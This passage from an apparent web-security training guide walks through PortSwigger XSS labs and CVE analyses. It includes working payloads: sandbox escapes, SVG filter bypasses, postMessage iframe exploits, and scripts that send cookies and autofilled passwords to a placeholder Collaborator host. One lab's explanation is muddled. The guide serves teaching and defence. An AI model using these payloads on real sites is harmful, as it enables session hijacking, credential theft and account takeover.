18.3 Finding the Vulnerability

```
<body ng-app>
  ...
  <h1>0 search results for '{{searchTerm}}'</h1>
  ...
</body>
```

The search term is reflected directly inside an AngularJS template scope.

18.4 Testing for CSTI

Submit a mathematical expression as input:

```
{{7*7}}
```

If the page renders **49** instead of the literal text `{{7*7}}`, AngularJS is evaluating the expression. CSTI confirmed.

18.5 Payload

AngularJS 1.x sandbox can be escaped with:

```
{{constructor.constructor('alert(document.domain)')()}}
```

1. `constructor` – references the constructor of the current scope object
2. `.constructor` – references the `Function` constructor
3. `('alert(document.domain)')` – creates a new Function from a string
4. `()` – immediately invokes the created function
5. `alert(document.domain)` executes [OK]

18.6 Why This is Different from Other XSS

This is **Client-Side Template Injection** – the payload is not HTML injection. No angle brackets, no event handlers. AngularJS's own expression evaluator runs the payload.

Standard XSS filters that look for `<script>` or event handlers completely miss this.

18.7 Remediation

[OK] Safe – do not reflect user input inside ng-app scope

```
Option 1: Move reflection outside the ng-app scope
Option 2: Use AngularJS's $sce.trustAsHtml() properly with
          sanitisation
Option 3: Upgrade to Angular 2+ (eliminated template injection by
          design)
Option 4: Use textContent binding (ng-bind) instead of
          interpolation for user data
```

18.8 Key Takeaways

Lesson	Detail
CSTI is not HTML injection	No angle brackets needed – framework evaluates expression
Test with <code>{{7*7}}</code>	Mathematical evaluation confirms CSTI
<code>constructor.constructor</code> trick	Escapes AngularJS sandbox to reach <code>Function</code>
Standard XSS filters miss this	No <code><script></code> or event handlers in payload
Angular 2+ fixed this by design	Eliminated expression injection from the framework

Chapter 19

Lab 17 – Reflected DOM XSS

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Practitioner
Severity	HIGH
Tags	dom-xss, reflected-dom, json-response, eval-sink

19.1 Lab Objective

Exploit a reflected DOM XSS where the server reflects user input inside a JSON response that is passed to `eval()`.

19.2 What is Reflected DOM XSS?

Reflected DOM XSS is a hybrid – the server *does* reflect the payload, but the vulnerability is in how client-side JavaScript processes the response, not in the HTML output directly.

```
User input -> Server reflects in JSON response -> Client JS evals  
the JSON -> XSS
```

19.3 Finding the Vulnerability

The search sends an AJAX request and receives a JSON response:

```
HTTP/2 200 OK
Content-Type: application/json

{"results":[],"searchTerm":"hello"}
```

Client-side JavaScript processes this response:

```
1 var xhr = new XMLHttpRequest();
2 xhr.onreadystatechange = function() {
3     if (this.readyState == 4 && this.status == 200) {
4         eval('var searchResultsObj = ' + this.responseText);
5         displaySearchResults(searchResultsObj);
6     }
7 };
8 xhr.open('GET', '/search-results?search=' + query);
9 xhr.send();
```

Sink: `eval()` – the most dangerous JavaScript sink. The entire JSON response is passed to `eval()` for parsing instead of using `JSON.parse()`.

19.4 Crafting the Payload

We need to inject into the JSON context to break out and execute code:

```
{"results":[],"searchTerm":"INJECTION"}
```

```
\"-alert(document.domain)}//
```

```
{"results":[],"searchTerm":"\"-alert(document.domain)}//"}
```

After the backslash escapes the quote in the JSON string, the browser's eval processes:

```
var searchResultsObj = {"results":[],"searchTerm":"\"-alert(document
.domain)}//"}

```

The `"` is escaped in JSON but the `\` before it causes the JSON parser to treat the `"` as a literal character inside the string. Wait – we need a different approach. The server escapes `"` to `\"`.

So we inject a backslash first:

```
\"-alert(document.domain)}//
```

This causes the JSON to become malformed, but `eval()` is more permissive than `JSON.parse()` and evaluates the expression within it.

19.5 Remediation

[OK] Safe – `JSON.parse` instead of `eval`

```
1 // VULNERABLE
2 eval('var searchResultsObj = ' + this.responseText);
3
4 // SAFE -- JSON.parse is a data parser, not a code evaluator
5 var searchResultsObj = JSON.parse(this.responseText);
6 // JSON.parse will never execute injected JavaScript
```

19.6 Key Takeaways

Lesson	Detail
<code>eval()</code> is the most dangerous sink	Never use it to parse data
<code>JSON.parse()</code> is the safe alternative	Parses data only, never executes code
Reflected DOM XSS is a hybrid	Server reflects payload, client-side JS is the sink
Check AJAX responses too	DOM XSS sources include XHR/fetch responses

Chapter 20

Lab 18 – Stored DOM XSS

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Practitioner
Severity	HIGH
Tags	dom-xss, stored-dom, innerHTML, json-storage

20.1 Lab Objective

Exploit a stored DOM XSS where comment data stored as JSON is later loaded and rendered via `innerHTML` on the client side.

20.2 The Vulnerability Chain

```
1. Attacker posts comment with payload
2. Server stores raw comment in database
3. Page loads -- JS fetches comments as JSON via AJAX
4. JS renders comments using innerHTML -- DOM XSS fires for every
   visitor
```

20.3 Finding the Vulnerability

The comments endpoint returns JSON:

```
[{"author":"TestUser","comment":"hello world"},...]
```

The client-side rendering code:

```
1 fetch('/comments?postId=5')
2   .then(r => r.json())
3   .then(comments => {
4     comments.forEach(c => {
5       // VULNERABLE -- innerHTML with stored user data
6       document.getElementById('comments').innerHTML
7         += '<div><b>' + c.author + '</b><p>' + c.comment +
8         '</p></div>';
9     });
10  });
```

20.4 Payload

Submit the following as a comment:

```
<img src=1 onerror=alert(document.domain)>
```

The server stores the raw string. When any visitor loads the page, the JS fetches the comment JSON and writes it to `innerHTML`, triggering the `onerror` event for every visitor.

20.5 Why This is Stored DOM XSS Not Regular Stored XSS

In regular stored XSS (Lab 03), the server embeds the stored payload directly in the HTML response. Here, the server returns clean JSON – the vulnerability is in how client JS renders that JSON using `innerHTML`.

20.6 Remediation

[OK] Safe – createElement instead of innerHTML

```
1 comments.forEach(c => {  
2   var div = document.createElement('div');  
3   var b = document.createElement('b');  
4   var p = document.createElement('p');  
5   b.textContent = c.author;    // textContent, not innerHTML  
6   p.textContent = c.comment;   // textContent, not innerHTML  
7   div.appendChild(b);  
8   div.appendChild(p);  
9   document.getElementById('comments').appendChild(div);  
10 });
```

20.7 Key Takeaways

Lesson	Detail
Stored DOM XSS affects all visitors	Like stored XSS, but sink is in client JS
Clean server response is misleading	JSON is clean – vulnerability is in client rendering
<code>innerHTML</code> with stored data is dangerous	Even JSON from a trusted server can contain payloads
<code>textContent</code> is always safe for text	Never parses HTML – the right choice for user content

Chapter 21

Lab 19 – Exploiting Cross-Site Scripting to Steal Cookies

Platform	PortSwigger Web Security Academy
Category	Exploiting XSS
Difficulty	Practitioner
Severity	CRITICAL
Tags	xss-exploitation, cookie-theft, burp-collaborator, session-hijack

21.1 Lab Objective

Use a stored XSS vulnerability to steal the victim's session cookie and use it to access the victim's account. The lab uses Burp Collaborator to receive the exfiltrated cookie.

21.2 The Setup

This lab combines stored XSS (Lab 03 concepts) with a real exploitation workflow using Burp Collaborator as the attacker's listener.

Burp Collaborator is a Burp Suite feature that provides an out-of-band server for receiving callbacks – DNS, HTTP, HTTPS – from payloads executing in victim browsers.

21.3 Step 1 – Generate a Collaborator URL

In Burp Suite Professional:

1. Click **Collaborator** tab → **Copy to clipboard**
2. This gives you a unique URL like: xyz.burpcollaborator.net

21.4 Step 2 – Submit the Cookie-Stealing Payload

Post a comment with the following payload:

```
1 <script>
2 fetch('https://YOUR-COLLABORATOR-ID.burpcollaborator.net', {
3   method: 'POST',
4   mode: 'no-cors',
5   body: document.cookie
6 });
7 </script>
```

21.5 Step 3 – Wait for the Victim

The lab simulates a victim (admin) periodically viewing the comments page. When the victim visits:

1. The stored script executes in their browser
2. `document.cookie` sends their session cookie to Collaborator
3. Burp Collaborator receives and logs the HTTP request

21.6 Step 4 – Capture and Replay the Cookie

In Burp Collaborator, click **Poll now**. The incoming request body contains the victim's session cookie:

```
POST / HTTP/1.1
Host: xyz.burpcollaborator.net

session=VICTIM-SESSION-TOKEN-HERE
```

21.7 Step 5 – Session Replay – Account Takeover

1. In Burp Repeater or browser DevTools, replace your session cookie with the victim's stolen token
2. Navigate to `/my-account`
3. You are now authenticated as the victim
4. Account takeover complete [OK]

21.8 Why HttpOnly Matters Here

If the session cookie had `HttpOnly` set, `document.cookie` would return an empty string – the cookie would be invisible to JavaScript. This is why `HttpOnly` is a critical defence:

```
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
```

With `HttpOnly`, the XSS still fires but cookie theft is blocked. The attacker must escalate to other impact vectors (CSRF, keylogging, etc.)

21.9 Key Takeaways

Lesson	Detail
Burp Collaborator = attacker listener	Receives out-of-band DNS/HTTP callbacks
<code>fetch</code> with <code>no-cors</code> for exfil	Bypasses CORS for fire-and-forget data sending
<code>HttpOnly</code> blocks <code>document.cookie</code>	Critical defence against cookie theft
Session replay = account takeover	Stolen cookie = identity, no password needed
Admin viewing comments = critical	Stored XSS visible to admins elevates to Critical

Chapter 22

Lab 20 – Exploiting XSS to Capture Passwords

Platform	PortSwigger Web Security Academy
Category	Exploiting XSS
Difficulty	Practitioner
Severity	CRITICAL
Tags	xss-exploitation, credential-theft, password-autocomplete, keylogger

22.1 Lab Objective

Use XSS to steal credentials that the victim's browser auto-fills into a fake login form injected by the payload.

22.2 The Technique – Injecting a Fake Form to Trigger Autocomplete

Modern browsers auto-fill saved credentials when they detect a username and password field. By injecting a hidden form, we can trick the browser into auto-filling the victim's credentials – and exfiltrate them.

22.3 Payload

```
1 <input name=username id=username>
2 <input type=password name=password onchange="
3     fetch('https://YOUR-COLLABORATOR-ID.burpcollaborator.net', {
4         method: 'POST',
5         mode: 'no-cors',
6         body: username.value + ':' + this.value
7     })
8 ">
```

How this works:

1. XSS injects a username and password field into the page
2. Browser's autocomplete recognises the fields and auto-fills credentials
3. The `onchange` event fires when the password is auto-filled
4. Username and password are sent to the attacker's Collaborator server

22.4 Why This Works Even With HttpOnly Cookies

This attack is completely unrelated to session cookies. It captures the victim's **actual username and password** – credentials stored in the browser's password manager. `HttpOnly` provides no protection against this technique.

22.5 Real-World Impact

- Credentials are reused across multiple services (credential stuffing)
- Attacker gains access to email, banking, corporate systems
- More dangerous than cookie theft – cookie expires, passwords don't
- Works even if the application uses MFA – attacker can log in immediately if the victim is already authenticated and MFA is not re-prompted

22.6 Remediation

[OK] Defences against credential harvesting

1. Fix the XSS -- primary defence (output encoding)
2. CSP: `script-src 'self'` -- blocks inline event handlers
3. `Autocomplete="off"` on sensitive forms (limited effectiveness)
4. `HttpOnly` + `Secure` on session cookies (does not help here but good practice)
5. MFA with re-authentication for sensitive actions

22.7 Key Takeaways

Lesson	Detail
<code>HttpOnly</code> does not prevent credential theft	Targets password manager, not cookies
<code>Autocomplete</code> is a double-edged sword	Convenience becomes a security risk under XSS
Credentials outlast sessions	Passwords are more valuable than session tokens
CSP is the key mitigation	Blocks inline event handlers on injected forms

Chapter 23

Lab 21 – Exploiting XSS to Perform CSRF

Platform	PortSwigger Web Security Academy
Category	Exploiting XSS
Difficulty	Practitioner
Severity	HIGH
Tags	xss-exploitation, csrf-bypass, token-extraction, same-origin

23.1 Lab Objective

Use XSS to bypass CSRF protection and change the victim's email address by reading the CSRF token from the page and making an authenticated request.

23.2 Why XSS Defeats CSRF Protection

CSRF tokens protect against cross-origin requests because an attacker on [evil.com](#) cannot read content from [target.com](#) (Same-Origin Policy). But XSS runs *inside* [target.com](#) – it can read anything on the page, including CSRF tokens. XSS completely defeats CSRF protection.

23.3 The CSRF Bypass Payload

```
1 <script>
2 var req = new XMLHttpRequest();
3 req.onload = handleResponse;
4 req.open('GET', '/my-account', true);
5 req.send();
6
7 function handleResponse() {
8     // Extract CSRF token from the account page
9     var token = this.responseText.match(/name="csrf" value="(\w+)
10    "/)[1];
11
12    // Use the token to make an authenticated state-changing
13    request
14    var changeReq = new XMLHttpRequest();
15    changeReq.open('POST', '/my-account/change-email', true);
16    changeReq.setRequestHeader('Content-Type',
17    'application/x-www-form-urlencoded');
18    changeReq.send('csrf=' + token + '&email=attacker%40evil.com');
19 }
20 </script>
```

23.4 Step by Step

1. XSS payload stored in comment field
2. Victim visits the page – payload executes in their browser context
3. XHR fetches `/my-account` – same origin, so cookie is sent automatically
4. Regex extracts CSRF token from the response HTML
5. Second XHR POSTs to `/my-account/change-email` with the extracted token
6. Server accepts the request (valid CSRF token, valid session cookie)
7. Victim's email changed to attacker's address
8. Attacker uses password reset to fully take over the account

23.5 Why This is Particularly Dangerous

- No user interaction required beyond visiting the page
- CSRF token is valid – no CSRF defence helps
- SameSite cookies do not help – request is same-origin
- Runs entirely in the victim's browser – no attacker infrastructure needed

23.6 Remediation

[OK] Only fix is to fix the XSS

```
CSRF tokens are useless against XSS -- they protect against cross-  
origin  
requests, but XSS makes the request from the same origin.
```

```
Primary defence: Fix the XSS with proper output encoding.  
Secondary defence: CSP to block inline/injected scripts.  
Tertiary: Re-authenticate before sensitive actions (email change,  
password change).
```

23.7 Key Takeaways

Lesson	Detail
XSS breaks CSRF protection	Same-origin XSS can read and use CSRF tokens
Regex on XHR response	Standard technique for token extraction
Two-step XHR pattern	Fetch page for token, then POST with it
Only fix is fix the XSS	No amount of CSRF hardening helps under XSS

Chapter 24

Lab 22 – Reflected XSS with Event Handlers and href Blocked

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Practitioner
Severity	HIGH
Tags	reflected-xss, waf-bypass, svg-animate, tag-whitelist

24.1 Lab Objective

Bypass a WAF that blocks common event handlers and `href=javascript:` using SVG `<animate>` element attribute injection.

24.2 What Is Blocked

The application blocks:

- All `on*` event handlers (`onerror`, `onload`, `onclick`, etc.)
- `href=javascript:` on anchor tags
- `<script>` tags

24.3 The SVG animate Technique

SVG's `<animate>` element can animate attributes of parent elements. We can use it to set an `href` or `attributeName` on an SVG anchor element `<a>`, bypassing event handler filters:

```
<svg><a><animate attributeName=href
  values=javascript:alert(document.domain) /><text x=20 y=20>Click
  me</text></a></svg>
```

How it works:

1. `<svg>` creates an SVG context
2. `<a>` is an SVG anchor element (different from HTML `<a>`)
3. `<animate>` sets the `href` attribute of the parent `<a>` to `javascript:alert(document.domain)` via animation
4. No `on*` handler used – the filter is bypassed
5. User clicks the visible text – alert fires [OK]

24.4 Why This Bypasses the Filter

The filter checks for `onerror=`, `onload=`, and static `href=javascript:` patterns. The `<animate>` element dynamically sets the `href` attribute value – no `on*` handler appears in the source, and the `href` is set via `values=`, not `href=`.

24.5 Key Takeaways

Lesson	Detail
SVG has its own element set	<code><animate></code> , <code><set></code> , <code><use></code> are powerful bypass vectors
Dynamic attribute setting bypasses static filters	<code><animate></code> sets <code>href</code> at runtime
SVG <code><a></code> is different from HTML <code><a></code>	But both support <code>javascript:</code> URIs
Blocklists always have gaps	Attack surface of HTML/SVG is too large to blocklist

Chapter 25

Lab 23 – Reflected XSS in Canonical Link Tag

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Practitioner
Severity	HIGH
Tags	reflected-xss, canonical-tag, accesskey, head-injection

25.1 Lab Objective

Exploit XSS where injection lands in a canonical `<link>` tag in the `<head>`, bypassing standard body-context injection defences.

25.2 The Injection Context

The URL is reflected into a canonical link tag:

```
<head>
  <link rel="canonical" href="https://target.com/INJECTION"/>
</head>
```

We are inside an attribute in the `<head>` – no body events fire here.

25.3 The accesskey Technique

HTML attributes include `accesskey` – a keyboard shortcut that triggers a click on the element. Combined with the `onclick` attribute injected into the `<link>` tag, we can execute JavaScript via keyboard shortcut:

```
'accesskey='x'onclick='alert(document.domain)
```

```
<link rel="canonical"
      href="https://target.com/"
      accesskey="x"
      onclick="alert(document.domain)"/>
```

Pressing **ALT+SHIFT+X** (Windows/Linux) or **CTRL+ALT+X** (Mac) triggers the `onclick` event on the hidden link element, firing the alert.

25.4 Significance for Security Research

This attack is significant because:

- Injection lands in `<head>` – outside the visible body
- No visible element to click – interaction via keyboard shortcut
- Demonstrates XSS in non-obvious injection points
- Useful in scenarios where body injection is blocked but head is not

25.5 Key Takeaways

Lesson	Detail
Head injection is often overlooked	Canonical, meta, link tags reflect URLs
<code>accesskey</code> triggers hidden elements	Keyboard shortcut fires events on non-visible elements
Check all URL reflections	Any URL reflected into attributes is a potential sink

Chapter 26

Lab 24 – Reflected XSS with Some SVG Markup Allowed

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Practitioner
Severity	HIGH
Tags	reflected-xss, svg, allowlist-bypass, animatettransform

26.1 Lab Objective

The application uses a tag allowlist that permits some SVG tags. Bypass it using allowed SVG elements with injected event handlers.

26.2 Discovering What Is Allowed

Test different tags to find which ones pass the filter:

```
<svg>           -- allowed
<animatettransform> -- allowed
<script>        -- blocked
<img>           -- blocked
<iframe>        -- blocked
```

26.3 Payload Using animatettransform

```
<svg><animatetransform onbegin=alert(document.domain)></animatetransform></svg>
```

`onbegin` is an SVG animation event that fires when the animation starts – which happens immediately when the element is created. The filter allowed `<animatetransform>` but did not strip `onbegin`.

26.4 Key Takeaways

Lesson	Detail
SVG has many obscure event handlers	<code>onbegin</code> , <code>onend</code> , <code>onrepeat</code> often missed
Fuzz allowed tags + event handlers	Systematically test what passes the filter
Allowlisting tags is not enough	Must also allowlist/strip attributes

Chapter 27

Lab 25 – DOM XSS via Web Messages

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Practitioner
Severity	HIGH
Tags	dom-xss, postmessage, web-messages, origin-validation

27.1 Lab Objective

Exploit DOM XSS where `window.postMessage` data flows into `innerHTML` without origin validation.

27.2 What is postMessage?

`window.postMessage` is the browser API for cross-origin communication between windows, iframes, and tabs. A page can listen for messages from other origins using the `message` event.

27.3 The Vulnerable Code

```
1 window.addEventListener('message', function(e) {
2     document.getElementById('ads').innerHTML = e.data;
3     // No origin check! Any window can send messages.
4 }, false);
```

Source: `postMessage` data (`e.data`)

Sink: `innerHTML`

Missing: Origin validation (`e.origin` check)

27.4 Exploit — Delivery via iframe

Since we cannot directly control the target page's `postMessage`, we host a page that sends the malicious message:

```
1 <iframe src="https://target.com/" onload="
2     this.contentWindow.postMessage(
3         '<img src=1 onerror=print()>',
4         '*'
5     )
6 ">
7 </iframe>
```

1. `iframe` loads the target page
2. `onload` fires and calls `postMessage` on the target window
3. Target's message listener receives the payload
4. `innerHTML` renders `<img src=1 onerror=print()>`
5. `onerror` fires – XSS executes in the target origin [OK]

27.5 Remediation

[OK] Safe – always validate origin in message handlers

```
1 window.addEventListener('message', function(e) {
2     // ALWAYS validate origin before processing message data
3     if (e.origin !== 'https://trusted-origin.com') {
4         return; // reject messages from untrusted origins
5     }
6 }
```



```
6 // Also use textContent, not innerHTML, for user data
7 document.getElementById('ads').textContent = e.data;
8 }, false);
```

27.6 Key Takeaways

Lesson	Detail
<code>postMessage</code> is a DOM XSS source	Any window can send messages if not validated
Always check <code>e.origin</code>	Whitelist trusted origins before processing data
<code>innerHTML</code> + message data = DOM XSS	Same sink rules apply regardless of source
Deliver via iframe <code>onload</code>	Standard technique for <code>postMessage</code> XSS delivery

Chapter 28

Lab 26 – DOM XSS via Web Messages and JavaScript URL

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Practitioner
Severity	HIGH
Tags	dom-xss, postmessage, javascript-uri, location-sink

28.1 Lab Objective

Exploit DOM XSS where `postMessage` data flows into `location.href` without origin or content validation.

28.2 The Vulnerable Code

```
1 window.addEventListener('message', function(e) {
2     // No origin check
3     if (e.data.indexOf('http') > -1) { // weak URL check
4         location.href = e.data;      // URL sink
5     }
6 }, false);
```

Source: `postMessage` data

Sink: `location.href` – a URL sink

Filter: Checks if message contains `http` – bypassable

28.3 Payload – Bypassing the Weak Check

The filter checks for `http` substring – so our payload must contain it:

```
javascript:print()//http://
```

The string contains `http` (passes the filter), but starts with `javascript:` (executes when assigned to `location.href`).

```
1 <iframe src="https://target.com/" onload="
2     this.contentWindow.postMessage(
3         'javascript:print()//http://',
4         '*'
5     )
6 ">
7 </iframe>
```

28.4 Key Takeaways

Lesson	Detail
Substring checks are weak	<code>indexOf('http')</code> does not ensure <code>http://</code> scheme
Allowlist full scheme	Check <code>e.data.startsWith('https://')</code> not substring
<code>location.href</code> is a URL sink	Same risk as <code>href</code> attribute – <code>javascript:</code> executes
Parse, do not substring-match	Use <code>new URL()</code> to properly validate scheme

Chapter 29

Lab 27 – DOM XSS via HTML5 Web Storage Interaction

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Practitioner
Severity	HIGH
Tags	dom-xss, localStorage, web-storage, postmessage

29.1 Lab Objective

Exploit DOM XSS where `postMessage` data is stored in `localStorage` and later rendered via `innerHTML` – a two-step source-to-sink chain.

29.2 The Vulnerability Chain

```
Step 1: postMessage -> localStorage.setItem()
Step 2: localStorage.getItem() -> innerHTML
```

```
1 window.addEventListener('message', function(e) {
2   localStorage.setItem('newsAd', e.data);
3 });
```

```
1 // On page load:
2 var ad = localStorage.getItem('newsAd');
3 if (ad) {
4     document.getElementById('adContainer').innerHTML = ad;
5 }
```

29.3 Exploit Delivery

```
1 <iframe src="https://target.com/" onload="
2     this.contentWindow.postMessage(
3         '<img src=1 onerror=print()>',
4         '*'
5     )
6 ">
7 </iframe>
```

1. iframe sends postMessage with payload
2. Target stores payload in localStorage
3. On page load (or reload), localStorage value rendered via innerHTML
4. XSS fires [OK]

29.4 Key Takeaways

Lesson	Detail
localStorage is a DOM XSS source	Anything stored there can become a source
Two-step chains are harder to spot	Storage write and render may be far apart in code
Stored DOM XSS via postMessage	Combines postMessage and storage as attack chain
Validate all storage reads too	Never trust data read from storage without sanitisation

Chapter 30

Lab 28 – Reflected XSS Protected by Very Strict CSP via Clickjacking

Platform	PortSwigger Web Security Academy
Category	Reflected XSS / CSP Bypass
Difficulty	Expert
Severity	HIGH
Tags	csp-bypass, clickjacking, iframe, reflected-xss

30.1 Lab Objective

A very strict CSP blocks script execution but does not set [X-Frame-Options](#). Use a clickjacking-style attack to deliver a reflected XSS payload via user interaction.

30.2 The CSP

```
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-RANDOM';
  form-action 'self';
```

No inline scripts, no external scripts, strict nonce requirement. Traditional XSS is fully blocked. But the page can be framed.

30.3 The Technique

1. Frame the target page inside an attacker-controlled iframe
2. Pre-fill a malicious value in the search box via the URL (the reflected XSS payload is in the page but CSP blocks execution)
3. Overlay the iframe to trick the victim into clicking
4. The victim's click triggers a form submission with the payload
5. The reflected payload fires in a context where we engineered user interaction

```
1 <style>
2     iframe { position:relative; width:1000px; height:675px;
3             opacity:0.1; z-index:2; }
4     div { position:absolute; top:495px; left:60px; z-index:1; }
5 </style>
6 <div>Click me</div>
7 <iframe src="https://target.com/?search=<your-xss-payload>"></
  iframe>
```

30.4 Key Takeaways

Lesson	Detail
CSP + missing X-Frame-Options = gap	Both headers are needed for full protection
Clickjacking enables user interaction	Tricks victim into triggering the payload
CSP does not prevent framing	<code>frame-ancestors</code> or <code>X-Frame-Options</code> needed
Layered defences are essential	No single control is sufficient

Chapter 31

Lab 29 – Reflected XSS with Known Broken Hash Nonce

Platform	PortSwigger Web Security Academy
Category	Reflected XSS / CSP Bypass
Difficulty	Expert
Severity	HIGH
Tags	csp-bypass, hash-nonce, script-injection, csp-misconfiguration

31.1 Lab Objective

The CSP uses a hash-based policy with a predictable or leaked nonce. Inject a `<script>` tag with the known hash/nonce value to bypass the policy.

31.2 Hash-Based CSP

Instead of a random nonce, some applications use a hash of their inline scripts:

```
Content-Security-Policy:  
script-src 'sha256-HASH_OF_INLINE_SCRIPT' 'nonce-LEAKED_NONCE';
```

If the nonce is reflected in the page source and also used in the CSP header, an attacker can read the nonce and inject a script tag that matches it.

31.3 Exploiting a Leaked Nonce


```
<!-- Page source contains -->
<script nonce="abc123def456">
  // existing legitimate script
</script>

<!-- CSP allows: -->
script-src 'nonce-abc123def456'
```

If the search query is reflected into the page before the script tag, and we can inject HTML, we can include the nonce in our injected script:

```
<script nonce="abc123def456">alert(document.domain)</script>
```

The CSP sees our script has a valid nonce and permits execution.

31.4 Key Takeaways

Lesson	Detail
Nonces must be secret and random	If the nonce is predictable or reflected, CSP fails
Do not reflect nonces into user-controlled areas	Attacker reads nonce and reuses it
Nonce must be per-request	Using same nonce across requests defeats the purpose

Chapter 32

Lab 30 – Reflected XSS via PDF Viewer Plugin

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Expert
Severity	HIGH
Tags	reflected-xss, pdf-viewer, plugin-xss, object-embed

32.1 Lab Objective

Exploit XSS via a vulnerable PDF viewer plugin where the PDF URL parameter is reflected without sanitisation inside the plugin context.

32.2 The Vulnerability

The application embeds a PDF viewer using an `<iframe>` or `<embed>` element, and the URL of the PDF to load is taken from a query parameter:

```
<iframe src="/pdf-viewer?file=https://example.com/document.pdf">
```

The PDF viewer itself reflects the `file` parameter into its own HTML:

```
<div id="pdfUrl">Loading: https://example.com/document.pdf</div>
```

If the viewer page does not encode the `file` parameter, injection is possible directly in the viewer's HTML context.

32.3 Payload

```
/pdf-viewer?file=https://x"><script>alert(document.domain)</script>
```

32.4 Why This is Significant

PDF viewer plugins and embedded document viewers are often developed separately from the main application and may not receive the same security scrutiny. Their URL parameters are frequently reflected without encoding because developers assume these are “internal” URLs.

32.5 Methodology Note – Testing Embedded Content

When testing an application, always check:

- All URL parameters passed to embedded viewers (PDF, video, maps)
- `src` attributes of iframes and embed elements
- API endpoints that return HTML fragments for embedding
- Third-party widget integration points

32.6 Key Takeaways

Lesson	Detail
Embedded viewers are often less hardened	Separate development, less security review
URL parameters to embedded content	Always test for reflection and injection
Same-origin iframe still matters	XSS in iframe on same origin affects parent
Check all application components	Not just main pages – APIs, viewers, widgets too

Chapter 33

CVE Analysis – Real-World XSS Vulnerabilities Dissected

33.1 Overview

Analysing real CVEs is what separates a security researcher from someone who only completes lab exercises. Each CVE breakdown in this chapter follows the same structure used when writing original research:

- What the application does
- Where the vulnerability exists in the code
- Why the developer’s approach failed
- What the exploit looks like
- How it was fixed
- What lessons generalise to other codebases

33.2 CVE-2021-32682 – elFinder XSS via File Name

33.2.1 Application Background

elFinder is a widely used open-source web file manager written in PHP, commonly embedded in CMS platforms including WordPress, Joomla, and Drupal. Its broad deployment made this vulnerability high-impact.

33.2.2 Vulnerability Summary

CVE	CVE-2021-32682
Severity	High (CVSS 8.8)
Type	Stored XSS
Component	File name handling in elFinder PHP connector
Affected	elFinder before 2.1.59

33.2.3 Root Cause

When a file was uploaded, elFinder reflected the file name in the JSON response without HTML encoding. The client-side JavaScript then rendered this file name directly into the DOM via `innerHTML`.

[X] Vulnerable PHP – file name reflected raw in JSON

```
1 // elFinder connector -- simplified
2 function upload($file) {
3     $name = $file['name']; // raw user-supplied file name
4     // No sanitisation of $name before returning in JSON response
5     return json_encode([
6         'added' => [['name' => $name, 'mime' => 'image/jpeg']]
7     ]);
8 }
```

[X] Vulnerable JavaScript – file name rendered via innerHTML

```
1 // elFinder client -- simplified
2 function addFile(file) {
3     // file.name comes from the JSON response -- contains
4     // attacker payload
5     var li = '<li class="elfinder-cwd-file">'
6           + '<span class="elfinder-cwd-filename">' + file.name +
7           '</span>'
8           + '</li>';
9     // innerHTML renders the attacker-controlled file name as
10    HTML
11    document.getElementById('elfinder-cwd').innerHTML += li;
12 }
```

33.2.4 The Exploit

An attacker with file upload access uploads a file with a malicious name:

```
"><img src=x onerror=alert(document.cookie)>.jpg"
```

When any user views the directory in elFinder, the file name is rendered via `innerHTML`,

firing the XSS payload. Because elFinder is used to manage files shared across the platform, this could affect all administrators and editors – a stored XSS with privileged impact.

33.2.5 Why This Mattered at Scale

elFinder is embedded in thousands of WordPress and Joomla installations. A single exploitation could:

- Steal admin session cookies from CMS administrators
- Lead to complete site takeover via admin account compromise
- Inject malicious code into the CMS itself
- Be weaponised in automated attacks against all vulnerable installations

33.2.6 The Fix

[OK] Fix applied in elFinder 2.1.59

```

1 // File names now HTML-encoded before rendering
2 function addFile(file) {
3     var safeName = file.name
4     .replace(/&/g, '&amp;')
5     .replace(/</g, '&lt;')
6     .replace(/>/g, '&gt;')
7     .replace(/"/g, '&quot;');
8     var li = '<li><span class="elfinder-cwd-filename">'
9             + safeName + '</span></li>';
10    document.getElementById('elfinder-cwd').innerHTML += li;
11    // Alternatively -- and better -- use textContent via
12    createElement

```

33.2.7 Lessons That Generalise

Lesson	Where It Applies
File names are user input	Any file manager, upload handler, download page
JSON responses can carry payloads	If JSON values reach innerHTML, encode them
innerHTML in file listings	Common pattern in file explorers and asset managers
Embedded libraries need auditing	Third-party components inherit the app's trust level

33.3 CVE-2022-35915 – Tiny File Manager Reflected XSS

33.3.1 Application Background

Tiny File Manager is a single-file PHP web file manager widely used for lightweight hosting environments. Its simplicity made it popular but also led to security shortcuts.

33.3.2 Vulnerability Summary

CVE	CVE-2022-35915
Severity	Medium (CVSS 6.1)
Type	Reflected XSS
Component	Search functionality
Affected	Tiny File Manager 2.4.8 and below

33.3.3 Root Cause

The search query parameter was reflected directly into the HTML page without output encoding, inside a JavaScript variable assignment. This is the exact pattern from our Lab 05.

[X] Vulnerable PHP – search term in JS string

```
1 <?php
2 $search = $_GET['search'] ?? '';
3 // No sanitisation
4 ?>
5 <script>
6     var search_term = '<?= $search ?>'; // Reflected raw into JS
7     highlightResults(search_term);
8 </script>
```

33.3.4 The Exploit

```
'-alert(document.domain)-'
```

```
/filemanager/?search='-alert(document.domain)-'
```

33.3.5 Why Lab Knowledge Maps to Real CVEs

This CVE is a direct real-world instance of Lab 05. The JavaScript string context injection we studied is not a contrived academic exercise – it is one of the most common real-world XSS patterns because:

- Developers commonly pass URL parameters to JavaScript for UI features (search highlighting, filters, analytics)
- HTML encoding is often applied to the body but forgotten in `<script>` blocks
- The vulnerability is invisible in the rendered page – you must read the page source to find it

33.3.6 The Fix

[OK] Safe – json_encode for JS context

```
1 <?php
2 $search = $_GET['search'] ?? '';
3 $js_safe = json_encode($search,
4     JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP | JSON_HEX_QUOT);
5 ?>
6 <script>
7     var search_term = <?= $js_safe ?>; // Properly encoded for
8     highlightResults(search_term);
9 </script>
```

33.4 CVE-2023-24278 – Squidex CMS Stored XSS via Rich Text Editor

33.4.1 Application Background
